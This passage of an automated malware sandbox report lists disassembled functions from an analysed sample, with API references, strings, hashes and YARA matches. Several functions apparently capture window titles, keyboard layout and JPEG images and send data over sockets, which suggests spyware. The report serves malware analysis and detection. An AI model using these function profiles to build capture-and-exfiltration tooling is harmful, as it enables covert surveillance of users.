                                                                                            • Instruction Fuzzy Hash: 0821C7A1B003042BD61477765D06ABF764E8B81308F04457FBD5AA72D3EEBD9C4581AD
                                                                                            Function 0041AB95 Relevance: 6.1, APIs: 4, Instructions: 78timesleepCOMMON
                                                                                            Download Yara Rule
                                                                                            APIs
                                                                                            Memory Dump Source
                                                                                            • Source File: 00000000.00000002.1420254579.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                            • Associated: 00000000.00000002.1420218367.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.1420307763.0000000000458000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.1420333412.0000000000471000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.1420333412.0000000000474000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.1420384281.0000000000477000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            Joe Sandbox IDA Plugin
                                                                                            • Snapshot File: hcaresult_0_2_400000_1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971.jbxd
                                                                                            Yara matches
                                                                                            Similarity
                                                                                            • API ID: SystemTimes$Sleep__aulldiv
                                                                                            • String ID:
                                                                                            • API String ID: 188215759-0
                                                                                            • Opcode ID: a7e496ea74412c4f74dd561fc1d9e5efe2a930fde01781876ab294e7da94f75c
                                                                                            • Instruction ID: 7cb4eddd506215a21d9c44be4850b318e12e80d273729b61be08d6c7a3dfdc1e
                                                                                            • Opcode Fuzzy Hash: a7e496ea74412c4f74dd561fc1d9e5efe2a930fde01781876ab294e7da94f75c
                                                                                            • Instruction Fuzzy Hash: 9A216D725043009FC304EF65D9858AFB7E8EFC8714F044A2EF58593251EA38EA49CBA7
                                                                                            Function 00409C4B Relevance: 6.1, APIs: 2, Strings: 2, Instructions: 71sleepCOMMON
                                                                                            Download Yara Rule
                                                                                            APIs
                                                                                              • Part of subcall function 0041B8F1: GetForegroundWindow.USER32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 0041B901
                                                                                              • Part of subcall function 0041B8F1: GetWindowTextLengthW.USER32(00000000), ref: 0041B90A
                                                                                              • Part of subcall function 0041B8F1: GetWindowTextW.USER32(00000000,00000000,00000001), ref: 0041B934
                                                                                            • Sleep.KERNEL32(000001F4), ref: 00409C95
                                                                                            • Sleep.KERNEL32(00000064), ref: 00409D1F
                                                                                            Strings
                                                                                            Memory Dump Source
                                                                                            • Source File: 00000000.00000002.1420254579.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                            • Associated: 00000000.00000002.1420218367.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.1420307763.0000000000458000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.1420333412.0000000000471000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.1420333412.0000000000474000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.1420384281.0000000000477000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            Joe Sandbox IDA Plugin
                                                                                            • Snapshot File: hcaresult_0_2_400000_1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971.jbxd
                                                                                            Yara matches
                                                                                            Similarity
                                                                                            • API ID: Window$SleepText$ForegroundLength
                                                                                            • String ID: [ $ ]
                                                                                            • API String ID: 3309952895-93608704
                                                                                            • Opcode ID: a49d20d3ecb8acddbd4132256805943c56c930b2d695a3c4727dac55219dcbc1
                                                                                            • Instruction ID: 7bed66d096a43dd94c2219bc8d3cdd3a5a7df98386a17a5ae9bf36b343ab91a8
                                                                                            • Opcode Fuzzy Hash: a49d20d3ecb8acddbd4132256805943c56c930b2d695a3c4727dac55219dcbc1
                                                                                            • Instruction Fuzzy Hash: AF119F315042009BD218BB26DC17AAEBBA8AF41708F40047FF542621D3EF79AA1986DE
                                                                                            Function 00442EE2 Relevance: 6.1, APIs: 4, Instructions: 63COMMON
                                                                                            Download Yara Rule
                                                                                            Memory Dump Source
                                                                                            • Source File: 00000000.00000002.1420254579.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                            • Associated: 00000000.00000002.1420218367.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.1420307763.0000000000458000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.1420333412.0000000000471000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.1420333412.0000000000474000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.1420384281.0000000000477000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            Joe Sandbox IDA Plugin
                                                                                            • Snapshot File: hcaresult_0_2_400000_1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971.jbxd
                                                                                            Yara matches
                                                                                            Similarity
                                                                                            • API ID:
                                                                                            • String ID:
                                                                                            • API String ID:
                                                                                            • Opcode ID: 0179cd47eff8c75336d676f059f6bc7958f0419c29ca715f1c911511461a8d64
                                                                                            • Instruction ID: b58c8eca075ef28bddc965f0bc4d2171c3ec1f8ef65ef5096018edf4bb449d44
                                                                                            • Opcode Fuzzy Hash: 0179cd47eff8c75336d676f059f6bc7958f0419c29ca715f1c911511461a8d64
                                                                                            • Instruction Fuzzy Hash: 2501F2B26093163EF61016796CC1F27671CEF417B8BB1032BB626612D2EEA88C46606D
                                                                                            Function 00442F61 Relevance: 6.1, APIs: 4, Instructions: 59COMMON
                                                                                            Download Yara Rule
                                                                                            Memory Dump Source
                                                                                            • Source File: 00000000.00000002.1420254579.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                            • Associated: 00000000.00000002.1420218367.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.1420307763.0000000000458000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.1420333412.0000000000471000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.1420333412.0000000000474000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.1420384281.0000000000477000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            Joe Sandbox IDA Plugin
                                                                                            • Snapshot File: hcaresult_0_2_400000_1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971.jbxd
                                                                                            Yara matches
                                                                                            Similarity
                                                                                            • API ID:
                                                                                            • String ID:
                                                                                            • API String ID:
                                                                                            • Opcode ID: 112e7316d96929b625426bf143e83baabee3255260599eba4999be5de9cde10c
                                                                                            • Instruction ID: 7fe3e8edc5bbc175eb6928fc2517c3e9b6b95ea9c4057c88a91cd5d3c4beb3ed
                                                                                            • Opcode Fuzzy Hash: 112e7316d96929b625426bf143e83baabee3255260599eba4999be5de9cde10c
                                                                                            • Instruction Fuzzy Hash: F201F9B22096167EB61016796DC4D27676DEF813B83F1033BF421612D1EEA8CC44A179
                                                                                            Function 00438305 Relevance: 6.1, APIs: 4, Instructions: 53COMMONLIBRARYCODE
                                                                                            Download Yara Rule
                                                                                            APIs
                                                                                            • ___BuildCatchObject.LIBVCRUNTIME ref: 0043831F
                                                                                              • Part of subcall function 0043826C: BuildCatchObjectHelperInternal.LIBVCRUNTIME ref: 0043829B
                                                                                              • Part of subcall function 0043826C: ___AdjustPointer.LIBCMT ref: 004382B6
                                                                                            • _UnwindNestedFrames.LIBCMT ref: 00438334
                                                                                            • __FrameHandler3::FrameUnwindToState.LIBVCRUNTIME ref: 00438345
                                                                                            • CallCatchBlock.LIBVCRUNTIME ref: 0043836D
                                                                                            Memory Dump Source
                                                                                            • Source File: 00000000.00000002.1420254579.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                            • Associated: 00000000.00000002.1420218367.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.1420307763.0000000000458000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.1420333412.0000000000471000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.1420333412.0000000000474000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.1420384281.0000000000477000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            Joe Sandbox IDA Plugin
                                                                                            • Snapshot File: hcaresult_0_2_400000_1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971.jbxd
                                                                                            Yara matches
                                                                                            Similarity
                                                                                            • API ID: Catch$BuildFrameObjectUnwind$AdjustBlockCallFramesHandler3::HelperInternalNestedPointerState
                                                                                            • String ID:
                                                                                            • API String ID: 737400349-0
                                                                                            • Opcode ID: c8370f5f766c88f9b882548d03e746073a9763e8d7037f7b78bb80a5d64990c6
                                                                                            • Instruction ID: 0bcd00d322a0ad7a372b2cc4a74953bc209b0d499cbe7a3061e5fba3b10c2df3
                                                                                            • Opcode Fuzzy Hash: c8370f5f766c88f9b882548d03e746073a9763e8d7037f7b78bb80a5d64990c6
                                                                                            • Instruction Fuzzy Hash: 3E014072100248BBDF126E96CC41DEF7B69EF4C758F04501DFE4866221D73AE861DBA4
                                                                                            Function 00447420 Relevance: 6.1, APIs: 4, Instructions: 52libraryCOMMONLIBRARYCODE
                                                                                            Download Yara Rule
                                                                                            APIs
                                                                                            • LoadLibraryExW.KERNEL32(00000000,00000000,00000800,00000000,00000000,00000000,?,004473C7,00000000,00000000,00000000,00000000,?,004476F3,00000006,FlsSetValue), ref: 00447452
                                                                                            • GetLastError.KERNEL32(?,004473C7,00000000,00000000,00000000,00000000,?,004476F3,00000006,FlsSetValue,0045E328,FlsSetValue,00000000,00000364,?,004471A1), ref: 0044745E
                                                                                            • LoadLibraryExW.KERNEL32(00000000,00000000,00000000,?,004473C7,00000000,00000000,00000000,00000000,?,004476F3,00000006,FlsSetValue,0045E328,FlsSetValue,00000000), ref: 0044746C
                                                                                            Memory Dump Source
                                                                                            • Source File: 00000000.00000002.1420254579.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                            • Associated: 00000000.00000002.1420218367.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.1420307763.0000000000458000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.1420333412.0000000000471000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.1420333412.0000000000474000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.1420384281.0000000000477000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            Joe Sandbox IDA Plugin
                                                                                            • Snapshot File: hcaresult_0_2_400000_1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971.jbxd
                                                                                            Yara matches
                                                                                            Similarity
                                                                                            • API ID: LibraryLoad$ErrorLast
                                                                                            • String ID:
                                                                                            • API String ID: 3177248105-0
                                                                                            • Opcode ID: bca6965db1f65f3d9859255c05e5b0128703451981dee5a4eba808798ce175cf
                                                                                            • Instruction ID: 55721a836d87515a1eea2a56d4c7bce34062b93f94d6470a2cb527c4f3a692dc
                                                                                            • Opcode Fuzzy Hash: bca6965db1f65f3d9859255c05e5b0128703451981dee5a4eba808798ce175cf
                                                                                            • Instruction Fuzzy Hash: 6D01FC326497366BD7314F789C44A777FD8AF047617114535F906E3241DF28D802C6E8
                                                                                            Function 10005CE1 Relevance: 6.1, APIs: 4, Instructions: 52libraryCOMMONLIBRARYCODE
                                                                                            Download Yara Rule
                                                                                            APIs
                                                                                            • LoadLibraryExW.KERNEL32(00000000,00000000,00000800,10001D66,00000000,00000000,?,10005C88,10001D66,00000000,00000000,00000000,?,10005E85,00000006,FlsSetValue), ref: 10005D13
                                                                                            • GetLastError.KERNEL32(?,10005C88,10001D66,00000000,00000000,00000000,?,10005E85,00000006,FlsSetValue,1000E190,FlsSetValue,00000000,00000364,?,10005BC8), ref: 10005D1F
                                                                                            • LoadLibraryExW.KERNEL32(00000000,00000000,00000000,?,10005C88,10001D66,00000000,00000000,00000000,?,10005E85,00000006,FlsSetValue,1000E190,FlsSetValue,00000000), ref: 10005D2D
                                                                                            Memory Dump Source
                                                                                            • Source File: 00000000.00000002.1422485768.0000000010001000.00000040.00001000.00020000.00000000.sdmp, Offset: 10000000, based on PE: true
                                                                                            • Associated: 00000000.00000002.1422450831.0000000010000000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.1422485768.0000000010016000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                            Joe Sandbox IDA Plugin
                                                                                            • Snapshot File: hcaresult_0_2_10000000_1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971.jbxd
                                                                                            Similarity
                                                                                            • API ID: LibraryLoad$ErrorLast
                                                                                            • String ID:
                                                                                            • API String ID: 3177248105-0
                                                                                            • Opcode ID: 803c5c09655bb12e7a00387565e20d3af286ada8f732c439529cecb726329beb
                                                                                            • Instruction ID: ab8c2af688280ff547417c348c7c3430721907d0b6a0cc88e9d35c15e8af339b
                                                                                            • Opcode Fuzzy Hash: 803c5c09655bb12e7a00387565e20d3af286ada8f732c439529cecb726329beb
                                                                                            • Instruction Fuzzy Hash: 59018436615732ABE7319B689C8CB4B7798EF056E2B214623F909D7158D731D801CAE0
                                                                                            Function 00418702 Relevance: 6.0, APIs: 4, Instructions: 49COMMON
                                                                                            Download Yara Rule
                                                                                            APIs
                                                                                            • GetSystemMetrics.USER32(0000004C), ref: 0041870F
                                                                                            • GetSystemMetrics.USER32(0000004D), ref: 00418715
                                                                                            • GetSystemMetrics.USER32(0000004E), ref: 0041871B
                                                                                            • GetSystemMetrics.USER32(0000004F), ref: 00418721
                                                                                            Memory Dump Source
                                                                                            • Source File: 00000000.00000002.1420254579.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                            • Associated: 00000000.00000002.1420218367.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.1420307763.0000000000458000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.1420333412.0000000000471000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.1420333412.0000000000474000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.1420384281.0000000000477000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            Joe Sandbox IDA Plugin
                                                                                            • Snapshot File: hcaresult_0_2_400000_1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971.jbxd
                                                                                            Yara matches
                                                                                            Similarity
                                                                                            • API ID: MetricsSystem
                                                                                            • String ID:
                                                                                            • API String ID: 4116985748-0
                                                                                            • Opcode ID: 0409876626ed8831e64dc81abc3b09ac1b97839c455807a5cfaaf12ce600e90b
                                                                                            • Instruction ID: 0d34e4fe417a410293abd419840fb627d3fd172a5f9f2d4f3f0ee0adad43daa0
                                                                                            • Opcode Fuzzy Hash: 0409876626ed8831e64dc81abc3b09ac1b97839c455807a5cfaaf12ce600e90b
                                                                                            • Instruction Fuzzy Hash: 26F0D672B043215BCB00AB754C4596EBB969FC03A4F25083FFA159B381EE78EC4687D9
                                                                                            Function 004420ED Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 189COMMON
                                                                                            Download Yara Rule
                                                                                            APIs
                                                                                            • __startOneArgErrorHandling.LIBCMT ref: 0044217D
                                                                                            Strings
                                                                                            Memory Dump Source
                                                                                            • Source File: 00000000.00000002.1420254579.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                            • Associated: 00000000.00000002.1420218367.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.1420307763.0000000000458000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.1420333412.0000000000471000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.1420333412.0000000000474000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.1420384281.0000000000477000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            Joe Sandbox IDA Plugin
                                                                                            • Snapshot File: hcaresult_0_2_400000_1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971.jbxd
                                                                                            Yara matches
                                                                                            Similarity
                                                                                            • API ID: ErrorHandling__start
                                                                                            • String ID: pow
                                                                                            • API String ID: 3213639722-2276729525
                                                                                            • Opcode ID: 520362507bef941fab5cffea9abde62870a3d8c74bbf2bfcbae46fc27f337450
                                                                                            • Instruction ID: 9e1bbc3390eeabea57be79b34f62796538476165ffe421cdb5ba0d05f4dc7be1
                                                                                            • Opcode Fuzzy Hash: 520362507bef941fab5cffea9abde62870a3d8c74bbf2bfcbae46fc27f337450
                                                                                            • Instruction Fuzzy Hash: 7251AF61A0A20297F7557B15CE8137B2B90EB50741F684D6BF085423E9EB7CCC819F4E
                                                                                            Function 00421179 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 178COMMON
                                                                                            Download Yara Rule
                                                                                            APIs
                                                                                            Strings
                                                                                            Memory Dump Source
                                                                                            • Source File: 00000000.00000002.1420254579.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                            • Associated: 00000000.00000002.1420218367.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.1420307763.0000000000458000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.1420333412.0000000000471000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.1420333412.0000000000474000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.1420384281.0000000000477000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            Joe Sandbox IDA Plugin
                                                                                            • Snapshot File: hcaresult_0_2_400000_1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971.jbxd
                                                                                            Yara matches
                                                                                            Similarity
                                                                                            • API ID: _memcmp
                                                                                            • String ID: <kG$<kG
                                                                                            • API String ID: 2931989736-383723866
                                                                                            • Opcode ID: 21e918851be83e46baa3e5e3c8b8b30cd909724b045746f3163941703dd33272
                                                                                            • Instruction ID: 841d78c923fca9e627808cf77cab3bf97fcfd39527adbe47470f5cf9fadca134
                                                                                            • Opcode Fuzzy Hash: 21e918851be83e46baa3e5e3c8b8b30cd909724b045746f3163941703dd33272
                                                                                            • Instruction Fuzzy Hash: 9F613471604B0A9ED710DF28D8806A6B7A5FF18304F440A3FEC5CCF656E3B8A955C7A9
                                                                                            Function 100063F0 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 168COMMON
                                                                                            Download Yara Rule
                                                                                            APIs
                                                                                            • _free.LIBCMT ref: 1000655C
                                                                                              • Part of subcall function 100062BC: IsProcessorFeaturePresent.KERNEL32(00000017,100062AB,00000000,?,?,?,?,00000016,?,?,100062B8,00000000,00000000,00000000,00000000,00000000), ref: 100062BE
                                                                                              • Part of subcall function 100062BC: GetCurrentProcess.KERNEL32(C0000417), ref: 100062E0
                                                                                              • Part of subcall function 100062BC: TerminateProcess.KERNEL32(00000000), ref: 100062E7
                                                                                            Strings
                                                                                            Memory Dump Source
                                                                                            • Source File: 00000000.00000002.1422485768.0000000010001000.00000040.00001000.00020000.00000000.sdmp, Offset: 10000000, based on PE: true
                                                                                            • Associated: 00000000.00000002.1422450831.0000000010000000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.1422485768.0000000010016000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                            Joe Sandbox IDA Plugin
                                                                                            • Snapshot File: hcaresult_0_2_10000000_1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971.jbxd
                                                                                            Similarity
                                                                                            • API ID: Process$CurrentFeaturePresentProcessorTerminate_free
                                                                                            • String ID: *?$.
                                                                                            • API String ID: 2667617558-3972193922
                                                                                            • Opcode ID: 45d8a64586b327f8eab7ad145b3c87db09c0e9126064bd79fff12b51639589bd
                                                                                            • Instruction ID: 55016225c6cf3c2ad74d5bf99958d96f24b8fe448c0df4d83e2be8db5664878a
                                                                                            • Opcode Fuzzy Hash: 45d8a64586b327f8eab7ad145b3c87db09c0e9126064bd79fff12b51639589bd
                                                                                            • Instruction Fuzzy Hash: 2D519475E0060A9FEB14CFA8CC81AADB7F6FF4C394F258169E854E7349D635AE018B50
                                                                                            Function 004095D6 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 158COMMON
                                                                                            Download Yara Rule
                                                                                            APIs
                                                                                            • GetKeyboardLayoutNameA.USER32(?), ref: 00409601
                                                                                              • Part of subcall function 004041F1: socket.WS2_32(00000002,00000001,00000006), ref: 00404212
                                                                                              • Part of subcall function 0040428C: connect.WS2_32(?,007B1B40,00000010), ref: 004042A5
                                                                                              • Part of subcall function 0041B8B5: CreateFileW.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000080,00000000,?,00000000,00409689,00474EE0,?,00474EE0,00000000,00474EE0,00000000), ref: 0041B8CA
                                                                                              • Part of subcall function 00404468: send.WS2_32(000002FC,00000000,00000000,00000000), ref: 004044FD
                                                                                            Strings
                                                                                            Memory Dump Source
                                                                                            • Source File: 00000000.00000002.1420254579.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                            • Associated: 00000000.00000002.1420218367.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.1420307763.0000000000458000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.1420333412.0000000000471000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.1420333412.0000000000474000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.1420384281.0000000000477000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            Joe Sandbox IDA Plugin
                                                                                            • Snapshot File: hcaresult_0_2_400000_1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971.jbxd
                                                                                            Yara matches
                                                                                            Similarity
                                                                                            • API ID: CreateFileKeyboardLayoutNameconnectsendsocket
                                                                                            • String ID: pQG$NG
                                                                                            • API String ID: 2334542088-921107917
                                                                                            • Opcode ID: ea6d3d5c36e2ab155dd143c7d3f09b2d512003bfcc1936d87a523e0025bacbd0
                                                                                            • Instruction ID: 713adcd63a50277e86c853b9c7bd1a900ae8bd87492a3ad9f31fb308660c5d8e
                                                                                            • Opcode Fuzzy Hash: ea6d3d5c36e2ab155dd143c7d3f09b2d512003bfcc1936d87a523e0025bacbd0
                                                                                            • Instruction Fuzzy Hash: BB5141321082405AC365F775D8A2AEF73E5AFD4308F50483FF84A671E2EE789949C69D
                                                                                            Function 0044DD44 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 132COMMON
                                                                                            Download Yara Rule
                                                                                            APIs
                                                                                            • GetCPInfo.KERNEL32(?,?,00000005,?,00000000), ref: 0044DD69
                                                                                            Strings
                                                                                            Memory Dump Source
                                                                                            • Source File: 00000000.00000002.1420254579.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                            • Associated: 00000000.00000002.1420218367.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.1420307763.0000000000458000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.1420333412.0000000000471000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.1420333412.0000000000474000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.1420384281.0000000000477000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            Joe Sandbox IDA Plugin
                                                                                            • Snapshot File: hcaresult_0_2_400000_1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971.jbxd
                                                                                            Yara matches
                                                                                            Similarity
                                                                                            • API ID: Info
                                                                                            • String ID: $vD
                                                                                            • API String ID: 1807457897-3636070802
                                                                                            • Opcode ID: af2dbb740455362532db4c6e27cef1bba8ecc5757f530743f693fef6f10ca257
                                                                                            • Instruction ID: 6a53932102cf2f29093c464eb4c67803ff3648b28b3ba8b7d074bec3f8911faa
                                                                                            • Opcode Fuzzy Hash: af2dbb740455362532db4c6e27cef1bba8ecc5757f530743f693fef6f10ca257
                                                                                            • Instruction Fuzzy Hash: D0415DB0D047489BEF218E24CC84AF6BBF9DF55708F2404EEE58A87142D239AD45DF65
                                                                                            Function 00417DD2 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 92COMMON
                                                                                            Download Yara Rule
                                                                                            APIs
                                                                                            • SHCreateMemStream.SHLWAPI(00000000,00000000,?,?,?,00000000), ref: 00417DFE
                                                                                              • Part of subcall function 00417988: GdipLoadImageFromStream.GDIPLUS(?,?,?,00417E11,00000000,?,?,?,?,00000000), ref: 0041799C
                                                                                            • SHCreateMemStream.SHLWAPI(00000000), ref: 00417E4B
                                                                                              • Part of subcall function 004179FB: GdipSaveImageToStream.GDIPLUS(?,?,?,?,00000000,00417E67,00000000,?,?), ref: 00417A0D
                                                                                              • Part of subcall function 004179AB: GdipDisposeImage.GDIPLUS(?,00417EC2), ref: 004179B4
                                                                                            Strings
                                                                                            Memory Dump Source
                                                                                            • Source File: 00000000.00000002.1420254579.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                            • Associated: 00000000.00000002.1420218367.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.1420307763.0000000000458000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.1420333412.0000000000471000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.1420333412.0000000000474000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.1420384281.0000000000477000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            Joe Sandbox IDA Plugin
                                                                                            • Snapshot File: hcaresult_0_2_400000_1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971.jbxd
                                                                                            Yara matches
                                                                                            Similarity
                                                                                            • API ID: Stream$GdipImage$Create$DisposeFromLoadSave
                                                                                            • String ID: image/jpeg
                                                                                            • API String ID: 1291196975-3785015651
                                                                                            • Opcode ID: c0c6e86b316e55d66ebf2cdb0a10bdafe60ea560917bbaebe4dfd9cc843f5356
                                                                                            • Instruction ID: 8af81f403c9bc23e7458ee74b157d237c4b9220e470ad7f048828f44144df9d5
                                                                                            • Opcode Fuzzy Hash: c0c6e86b316e55d66ebf2cdb0a10bdafe60ea560917bbaebe4dfd9cc843f5356
                                                                                            • Instruction Fuzzy Hash: 23313C71518204AFC301EF65C884DAFB7E9EF8A704F000A6EF98597251DB79D9098BA6
                                                                                            Function 00450AEE Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 88COMMONLIBRARYCODE
                                                                                            Download Yara Rule
                                                                                            APIs
                                                                                            • GetACP.KERNEL32(?,20001004,?,00000002,00000000,00000050,00000050,?,00450D49,?,00000050,?,?,?,?,?), ref: 00450BC9
                                                                                            Strings
                                                                                            Memory Dump Source
                                                                                            • Source File: 00000000.00000002.1420254579.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                            • Associated: 00000000.00000002.1420218367.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.1420307763.0000000000458000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.1420333412.0000000000471000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.1420333412.0000000000474000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.1420384281.0000000000477000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            Joe Sandbox IDA Plugin
                                                                                            • Snapshot File: hcaresult_0_2_400000_1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971.jbxd
                                                                                            Yara matches
                                                                                            Similarity
                                                                                            • API ID:
                                                                                            • String ID: ACP$OCP
                                                                                            • API String ID: 0-711371036
                                                                                            • Opcode ID: 6fd782f53c9633299fe98566c4ec68ed2bffd726811d49864d22e4fe4dac6dcd
                                                                                            • Instruction ID: d29bb87f3b47b124c8bd6c760bb86eb4cd4ec0f84f402c6b2e0ab732353f73f5
                                                                                            • Opcode Fuzzy Hash: 6fd782f53c9633299fe98566c4ec68ed2bffd726811d49864d22e4fe4dac6dcd
                                                                                            • Instruction Fuzzy Hash: 4021F72AA00105A6E7308FD48C82B977396AB50B1BF564467ED09D7303F73AFD09C358
